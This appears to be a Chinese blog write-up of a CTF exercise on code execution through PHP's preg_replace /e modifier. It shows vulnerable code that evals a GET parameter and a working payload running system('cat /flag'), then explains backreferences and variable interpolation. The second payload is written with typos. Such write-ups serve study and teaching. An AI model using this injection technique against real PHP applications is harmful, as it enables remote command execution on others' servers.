preg_replace /e 模式下的代码执行问题

preg_replace /e 模式下的代码执行问题

preg_replace在/e模式下存在代码执行问题

这里借用例题分析

function complex($re, $str) { 
    return preg_replace(     
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

payload:
\S*=${getflag()}&cmd=system('cat /flag');
这里触发preg_replace函数
 触发前:preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str);
 触发后:preg_replace('/(S*)/ie','strtolower("${getflag()}")','${getflag()}')
        在第二个参数里面\\1转意后就是\1,\1在在正则表达式里面有特定的含义

     
     第一个点:
     
     知识: 
  反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,
所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。
缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,
其中 n 为一个标识特定缓冲区的一位或两位十进制数。
 所以在这里\1匹配到的就是${getflag()}


     

第二个点:
[\s]表示,只要出现空白就匹配

[\S]表示,非空白就匹配

那么它们的组合[\s\S],表示所有的都匹配

"."是不会匹配换行的,所有出现有换行匹配的时候,就习惯使用[\s\S]来完全通配模式。

第三个点
下面再说说我们为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题:
      所以构造paylaod:?s/*=${getflag()}$cmd=()
      这样可以匹配到getflag把他当作变量执行,当getflag()执行后就能够触发cmdjin
      
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
posted @ 2022-10-27 11:17  GTL_JU  阅读(76)  评论(0编辑  收藏  举报